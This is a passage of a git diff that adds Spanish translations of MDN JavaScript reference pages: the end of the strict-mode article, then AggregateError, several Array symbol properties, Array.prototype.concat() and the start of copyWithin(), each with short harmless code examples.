+<p>Segundo, en modo estricto ya no es posible "recorrer" la pila de JavaScript a través de extensiones de ECMAScript. En código normal con estas extensiones, cuando una función llamada <code>fun</code> está en medio de su ejecución, <code>fun.caller</code> es la función que más recientemente llamó a <code>fun</code>, y <code>fun.arguments</code> son los parámetros para esa invocación de <code>fun</code>. Ambas extensiones son problemáticas para JavaScript "seguro", debido a que permiten acceder a funciones "privilegiadas" y sus (potencialmente inseguros) argumentos. Si <code>fun</code> está en modo estricto, tanto <code>fun.caller</code> como <code>fun.arguments</code> son propiedades no eliminables que lanzan una excepción cuando se establecen o recuperan:</p>
+
+<pre class="brush: js notranslate">function restricted() {
+  'use strict';
+  restricted.caller;    // lanza un TypeError
+  restricted.arguments; // lanza un TypeError
+}
+function privilegedInvoker() {
+  return restricted();
+}
+privilegedInvoker();
+</pre>
+
+<p>Tercero, en funciones de modo estricto, el objeto <code>arguments</code> no provee acceso a las variables usadas al llamar a la función. En algunas implementaciones antiguas de ECMAScript, <code>arguments.caller</code> era un objeto cuyas propiedades apuntaban a las variables en la función. Esto es una <a href="http://stuff.mit.edu/iap/2008/facebook/">amenaza de seguridad</a> por que rompe la habilidad de ocultar valores privilegiados a través de la abstracción de la función; además, frena algunas optimizaciones. Por estas razones los navegadores modernos no la implementan. Por su funcionalidad a lo largo de los años, <code>arguments.caller</code> en una función de modo estricto es una propiedad que lanza una excepción cuando se usa.</p>
+
+<pre class="brush: js notranslate">'use strict';
+function fun(a, b) {
+  'use strict';
+  var v = 12;
+  return arguments.caller; // lanza un TypeError
+}
+fun(1, 2); // no expone v (o a o b)
+</pre>
+
+<h3 id="Preparando_el_camino_para_futuras_versiones_de_ECMAScript">Preparando el camino para futuras versiones de ECMAScript</h3>
+
+<p>Las futuras versiones de ECMAScript introducirán nuevos cambios, y el modo estricto en ECMAScript 5 aplica algunos de esos cambios para hacer una transición más suave. Será más fácil hacer cambios si las bases de esos cambios son prohibidas en modo estricto.</p>
+
+<p>Primero, en modo estricto una lista de identificadores se convierte en palabras reservadas. Estas palabras son <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, y <code>yield</code>. De modo que en modo estricto, no se pueden usar estas palabras para nombrar variables o argumentos.</p>
+
+<pre class="brush: js notranslate">function package(protected) { // !!!
+  'use strict';
+  var implements; // !!!
+
+  interface: // !!!
+  while (true) {
+    break interface; // !!!
+  }
+
+  function private() { } // !!!
+}
+function fun(static) { 'use strict'; } // !!!
+
+</pre>
+
+<p><em>Dos advertencias específicas de Mozilla</em>: Primero, si tu código esta escrito en JavaScript 1.7 o mayor (por ejemplo en código chrome o cuando se usa bien <code>&lt;script type=""&gt;</code>) y el código esta en modo estricto, <code>let</code> y <code>yield</code> tienen la funcionalidad <span id="result_box" lang="es">que han tenido desde que esas palabras clave se introdujeron por primera vez</span>. Pero el código en modo estricto en la web, cargado con <code>&lt;script src=""&gt;</code> o <code>&lt;script&gt;...&lt;/script&gt;</code>, no podrá usar <code>let</code>/<code>yield</code> como identificadores. <em>Segundo, mientras que ES5 incondicionalmente reserva las palabras <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> y <code>super</code>, Mozilla Firefox 5 solo las reserva en modo estricto</em>.</p>
+
+<p>En segundo lugar, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">el modo estricto prohíbe las declaraciones de función, no en el nivel superior de un script o función</a>. En el modo normal de los navegadores, las declaraciones de función se permiten "en todas partes". <em>¡Esto no es parte de ES5 (ni siquiera de ES3)!</em> Es una extensión con semántica incompatible en diferentes navegadores. Ten en cuenta que en ES2015 se permiten declaraciones de función fuera del nivel superior.</p>
+
+<pre class="brush: js notranslate">'use strict';
+if (true) {
+  function f() { } // !!! error de sintaxis
+  f();
+}
+
+for (var i = 0; i &lt; 5; i++) {
+  function f2() { } // !!! error de sintaxis
+  f2();
+}
+
+function baz() {   // legal
+  function eit() { } // también legal
+}
+</pre>
+
+<p>Esta prohibición no es el modo estricto propiamente dicho porque tales declaraciones de función son una extensión de ES5 básico. Pero es la recomendación del comité ECMAScript y los navegadores la implementarán.</p>
+
+<h2 id="Modo_estricto_en_navegadores">Modo estricto en navegadores</h2>
+
+<p>La mayoría de los navegadores ya implementan el modo estricto. Sin embargo, no dependas ciegamente de él, ya que todavía hay numerosas <a class="external" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com disponibilidad de modo estricto">Versiones del navegador utilizadas en la naturaleza que solo tienen soporte parcial para el modo estricto</a> o no lo admiten en absoluto (por ejemplo, Internet Explorer por debajo de la versión 10). <em>El modo estricto cambia la semántica</em>. Depender de esos cambios provocará equivocaciones y errores en los navegadores que no implementan el modo estricto. Ten cuidado al usar el modo estricto y respalda la dependencia del modo estricto con pruebas de funciones que comprueben si se implementan las partes relevantes del modo estricto. Finalmente, asegúrate de <em>probar tu código en navegadores que admitan y no admitan el modo estricto</em>. Si realizas tus pruebas solo en navegadores que no admiten el modo estricto, es muy probable que tengas problemas en los navegadores que sí lo hacen, y viceversa.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Código en modo estricto')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/" title="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">¿Dónde está Walden? » Nuevo soporte de modo estricto ES5: ¡ahora con píldoras venenosas!</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/" title="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">¿Dónde está Walden? » Nuevo requisito del modo estricto de ES5: se prohíben las declaraciones de función que no estén en el nivel superior de un programa o función</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/" title="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">¿Dónde está Walden? » Nueva compatibilidad con el modo estricto de ES5: las nuevas variables creadas por el código de evaluación del modo estricto son locales solo para ese código</a></li>
+ <li><a href="http://qnimate.com/javascript-strict-mode-in-nutshell/">Tutorial de "uso estricto" de JavaScript para principiantes.</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/" title="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig — Modo estricto ECMAScript 5, JSON y más</a></li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 en detalle. Capitulo 2. Modo estricto.</a></li>
+ <li><a class="external" href="http://kangax.github.io/compat-table/es5/#Strict_mode">Tabla de compatibilidad del modo estricto</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">Transición al modo estricto</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/aggregateerror/index.html b/files/es/web/javascript/referencia/objetos_globales/aggregateerror/index.html
new file mode 100644
index 0000000000..524d0f9f5a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/aggregateerror/index.html
@@ -0,0 +1,87 @@
+---
+title: AggregateError
+slug: Web/JavaScript/Referencia/Objetos_globales/AggregateError
+tags:
+  - AggregateError
+  - Clase
+  - Experimental
+  - Interfaz
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/AggregateError
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <code><strong>AggregateError</strong></code> representa un error cuando se deben agrupar varios errores en un solo error. Se lanza cuando una operación necesita informar de varios errores, por ejemplo, {{JSxRef("Promise.any()")}}, cuando todas las promesas que se le pasan son rechazadas.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{JSxRef("Global_Objects/AggregateError/AggregateError", "AggregateError()")}}</dt>
+ <dd>Crea un nuevo objeto <code>AggregateError</code>.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{JSxRef("Error.prototype.message", "AggregateError.prototype.message")}}</dt>
+ <dd>Mensaje de error, el valor predeterminado es <code>""</code> (la cadena vacía).</dd>
+ <dt>{{JSxRef("Error.prototype.name", "AggregateError.prototype.name")}}</dt>
+ <dd>Nombre del error, el valor predeterminado es <code>AggregateError</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Capturar_un_error_agregado">Capturar un error agregado</h3>
+
+<pre class="brush: js; notranslate">Promise.any([
+  Promise.reject(new Error("algún error")),
+]).catch(e =&gt; {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "Todas las promesas rechazadas"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "algún error" ]
+});
+</pre>
+
+<h3 id="Crear_un_AggregateError">Crear un <code>AggregateError</code></h3>
+
+<pre class="brush: js; notranslate">try {
+  throw new AggregateError([
+    new Error("algún error"),
+  ], 'Hola');
+} catch (e) {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "Hola"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "algún error" ]
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Promise.any', '#sec-aggregate-error-objects', 'AggregateError')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.AggregateError")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/@@iterator/index.html b/files/es/web/javascript/referencia/objetos_globales/array/@@iterator/index.html
new file mode 100644
index 0000000000..65ac581204
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/@@iterator/index.html
@@ -0,0 +1,89 @@
+---
+title: 'Array.prototype[@@iterator]()'
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/@@iterator
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>El valor inicial de la propiedad <code><strong>@@iterator</strong></code> es el mismo objeto de función que el valor inicial de la propiedad {{jsxref("Array.prototype.values()", "values()")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>[Symbol.iterator]()</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El valor inicial dado por el <strong>iterador</strong> {{jsxref("Array.prototype.values()", "values()")}}. Por defecto, usar <code>arr[Symbol.iterator]</code> devolverá la función {{jsxref("Array.prototype.values()", "values()")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Iteración_usando_el_bucle_for...of">Iteración usando el bucle <code>for...of</code> </h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+// nuestro navegador debe ser compatible con el bucle for..of
+// y variables let-scoped en bucles for
+for (let letter of eArr) {
+  console.log(letter);
+}
+</pre>
+
+<h3 id="Iteración_alternativa">Iteración alternativa</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial..</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.@@iterator")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/@@species/index.html b/files/es/web/javascript/referencia/objetos_globales/array/@@species/index.html
new file mode 100644
index 0000000000..2f15ad345a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/@@species/index.html
@@ -0,0 +1,76 @@
+---
+title: 'get Array[@@species]'
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/@@species
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad de acceso <code><strong>Array[@@species]</strong></code> devuelve el constructor de <code>Array</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Array[Symbol.species]
+</pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El constructor {{jsxref("Array")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad de acceso <code>species</code> devuelve el constructor predeterminado para objetos <code>Array</code>. Los constructores de subclase pueden anularlo para cambiar la asignación del constructor.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>La propiedad <code>species</code> devuelve la función de constructor predeterminada, que es el constructor <code>Array</code> para objetos <code>Array</code>:</p>
+
+<pre class="brush: js">Array[Symbol.species]; // function Array()</pre>
+
+<p>In a derived collection object (e.g. your custom array <code>MyArray</code>), the <code>MyArray</code> species is the <code>MyArray</code> constructor. However, you might want to overwrite this, in order to return parent <code>Array</code> objects in your derived class methods:</p>
+
+<pre class="brush: js">class MyArray extends Array {
+  // Overwrite MyArray species to the parent Array constructor
+  static get [Symbol.species]() { return Array; }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.@@species")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/@@unscopables/index.html b/files/es/web/javascript/referencia/objetos_globales/array/@@unscopables/index.html
new file mode 100644
index 0000000000..43dc771ae7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/@@unscopables/index.html
@@ -0,0 +1,78 @@
+---
+title: 'Array.prototype[@@unscopables]'
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/@@unscopables
+tags:
+  - Array
+  - JavaScript
+  - Matriz
+  - Propiedad
+  - Prototipo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad de símbolo <code><strong>@@unscopable</strong></code> contiene nombres de propiedad que no se incluyeron en el estándar ECMAScript antes de la versión ES2015. Estas propiedades se excluyen de los enlaces de declaración <code><a href="/es/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>[Symbol.unscopables]</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p> </p>
+
+<p>Las propiedades de matriz predeterminadas que se excluyen de los enlaces <code>with</code> son: copyWithin, entries, fill, find, findIndex, includes, keys, y values.</p>
+
+<p>Consulte {{jsxref("Symbol.unscopables")}} para saber cómo configurar <code>unscopables</code> para sus propios objetos.</p>
+
+<p>{{js_property_attributes(0,0,1)}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente código funciona bien en ES5 y más abajo. Sin embargo, en ECMAScript 2015 y posterior, se introdujo el método {{jsxref("Array.prototype.keys()")}}. Eso significa que dentro de los entornos <code>with</code>, las "keys" ahora serían el método y no la variable. Aquí es donde entra en juego la propiedad de símbolo <code>@@unscopables</code> <code>Array.prototype[@@unscopables]</code> incorporada y evita que algunos de los métodos Array tengan un alcance en la instrucción <code>with</code>.</p>
+
+<pre class="brush: js">var keys = [];
+
+with (Array.prototype) {
+  keys.push('something');
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.@@unscopables")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/concat/index.html b/files/es/web/javascript/referencia/objetos_globales/array/concat/index.html
new file mode 100644
index 0000000000..dc7dfc999d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/concat/index.html
@@ -0,0 +1,140 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/concat
+tags:
+  - Array
+  - JavaScript
+  - Métodos
+  - Prototipo
+  - Referencia
+  - array.concat
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>concat()</strong></code> se usa para unir dos o más arrays. Este método no cambia los arrays existentes, sino que devuelve un nuevo array.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-concat.html","shorter")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>nuevo_array</var> = <var>viejo_array</var>.concat(<var>valor1</var>[, <var>valor2</var>[, ...[, <var>valorN</var>]]])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor<em>N</em></code> {{optional_inline}}</dt>
+ <dd>Arrays y/o valores a concatenar en el nuevo array. Ver la descripción posterior para más detalles.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<dl>
+ <dd>Una nueva instancia de {{jsxref("Array")}}.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>concat</code> crea un nuevo array que consta de los elementos del objeto que lo llama, seguido, en orden de ingreso, por los elementos de cada parámetro (en caso de que el parámetro sea un array), o el parámetro mismo (en caso de que no sea un array). No se aplica de forma recursiva a parámetros con arreglos anidados.</p>
+
+<p>El método <code>concat</code> no altera <code>this</code> el array original, ni ninguno de los que fueron ingresados como parámetros, sino que devuelve una copia superficial que contiene copias de los mismos elementos de los arrays originales combinados. Los elementos de los arrays originales son copiados en el nuevo array de la siguiente manera:</p>
+
+<ul>
+ <li>Referencias a Objetos (no el objeto real): <code>concat</code> copia las referencias de objetos en el nuevo array. Ambos, el array original y el nuevo refieren al mismo objeto. Es decir, si un objeto referenciado es modificado, los cambios serán visibles tanto en el array nuevo como en el antiguo.</li>
+ <li>Tipo de de datos como cadenas, números y boleanos (no objetos {{jsxref("Global_Objects/String", "String")}}, {{jsxref("Global_Objects/Number", "Number")}} o {{jsxref("Global_Objects/Boolean", "Boolean")}} objects): <code>concat</code> copia los valores de los strings y numeros en el nuevo array.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Al concatenar arrays o valores no se modificarán los originales. Además, las operaciones en el nuevo array (excepto las operaciones en elementos que son referencias a objetos) no tendrán efecto en el array original, y viceversa.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Concatenando_dos_arrays">Concatenando dos arrays</h3>
+
+<p>En el siguiente código se concatenan dos arrays:</p>
+
+<pre class="brush: js">const letters = ['a', 'b', 'c'];
+const numbers = [1, 2, 3];
+
+letters.concat(numbers);
+// result in ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="Concatenando_tres_arrays">Concatenando tres arrays</h3>
+
+<p>En el siguiente código se concatenan tres arrays:</p>
+
+<pre class="brush: js">const num1 = [1, 2, 3];
+const num2 = [4, 5, 6];
+const num3 = [7, 8, 9];
+
+const numbers = num1.concat(num2, num3);
+
+console.log(numbers);
+// results in [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="Concatenando_valores_a_un_array">Concatenando valores a un array</h3>
+
+<p>En el siguiente código se concatenan tres valores a un array:</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'];
+
+var alphaNumeric = alpha.concat(1, [2, 3]);
+
+console.log(alphaNumeric);
+// Da como resultado: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="Concatenando_arrays_anidados">Concatenando arrays anidados</h3>
+
+<p>En el siguiente código concatena arrays anidados y demuestra retención de referencias:</p>
+
+<pre class="brush: js">var num1 = [[1]];
+var num2 = [2, [3]];
+
+var nums = num1.concat(num2);
+
+console.log(nums);
+// Da como resultado: [[1], 2, [3]]
+
+// modifica el primer elemento de num1
+num1[0].push(4);
+
+console.log(nums);
+// Da como resultado: [[1, 4], 2, [3]]</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.concat")}}</p>
+</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — añadir/eliminar elementos desde el fin del array</li>
+ <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — añadir/eliminar elementos desde el comienzo del array</li>
+ <li>{{jsxref("Array.splice", "splice")}} — añadir/eliminar elementos desde una posición específica del array</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("Symbol.isConcatSpreadable")}} – controla el flattening (aplanamiento).</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/copywithin/index.html b/files/es/web/javascript/referencia/objetos_globales/array/copywithin/index.html
new file mode 100644
index 0000000000..e28b99c382
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/copywithin/index.html
@@ -0,0 +1,165 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/copyWithin
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>copyWithin()</strong></code> transfiere una copia  plana de una sección a otra dentro del mismo array ( o contexto similar ), sin modificar su propiedad length y lo devuelve.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr.copyWithin(target)
+arr.copyWithin(target, start)
+arr.copyWithin(target, start, end)</var></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Índice basado en cero que establece en dónde dentro de la secuencia original se insertará la secuencia copiada.  Si es negativo, <code>target</code> se contará desde el final. -1 es el último elemento, -2 el penúltimo, etc.</dd>
+ <dd>Si <code>target</code> es  igual o mayor que  <code>arr.length</code>, no se copiará nada. Si <code>target</code> es posicionado después de <code>start</code>, la secuencia copiada se recortará para que encaje con <code>arr.length</code>.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>Índice basado en cero a partir del cual comenzar la copia de elementos. Si es negativo, start comenzará a contarse desde el final.</dd>
+ <dd>Si <code>start</code> es omitido, <code>copyWithin</code> copiará desde el principio (por defecto es 0).</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>Índice basado en cero hasta el cual se copiarán los elementos. <code>copyWithin</code> copiará hasta pero sin incluir el end. Si es negativo, <code>end</code> será contado desde el final.</dd>
+ <dd>Si <code>end</code> es omitido, <code>copyWithin</code> copiará hasta el final ( por defecto es <code>arr.length </code>).</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El array modificado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>copyWithin</code> es similar a la función <code>memmove</code> de C y C++  , siendo altamente eficiente para desplazar los datos en un {{jsxref("Array")}} o  {{jsxref("TypedArray")}}. La secuencia de datos es leída y escrita en una sola operación;  la escritura será correcta incluso en el caso de que la zona de lectura y el destino de escritura se solapen.</p>
+
+<p>La función <code>copyWithin</code> es intencionadamente <em>genérica</em>, permitiendo que se aplique en contextos en los cuales <code>this</code> no sea necesariamente un objeto {{jsxref("Array")}}.</p>
+
+<p>El método <code>copyWithin</code> es un método mutador. No altera la propiedad <code>length</code> de <code>this</code>, pero cambiará su contenido y creará nuevas propiedades si es necesario.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En los siguientes ejemplos céntrate en los siguientes aspectos:</p>
+
+<ul>
+ <li>El tamaño del contexto en el que se aplica no cambia. En los ejemplos el array parte con cinco elementos y siempre mantiene cinco elementos.</li>
+ <li><code>start</code> y <code>end</code> trabajan juntos para decidir qué se copiará.  Siempre tienen valor por defecto aunque omitas <code>end</code>, o <code>start</code> y <code>end</code>.</li>
+ <li><code>target</code> trabaja solo y debe especificarse.  Indica el lugar para en el que la copia comenzará a sobreescribir datos existentes. Debe estar dentro de los límites en el contexto que se aplique.</li>
+ <li>escribir <code>arr.copyWithin( n ) </code>es lo mismo que <code>arr.copyWithin( n, 0, arr.length)</code></li>
+</ul>
+
+<pre class="brush: js">[1, 2, 3, 4, 5].copyWithin(-2);
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
+// [1, 2, 3, 3, 4]
+</pre>
+
+<p>A continuación se aplica en el contexto de un objeto <strong>array-like</strong>:</p>
+
+<ul>
+ <li>El objeto contextual tiene alguna propiedad con clave numérica, y una propiedad length. Esto es suficiente para considerarse array-like.</li>
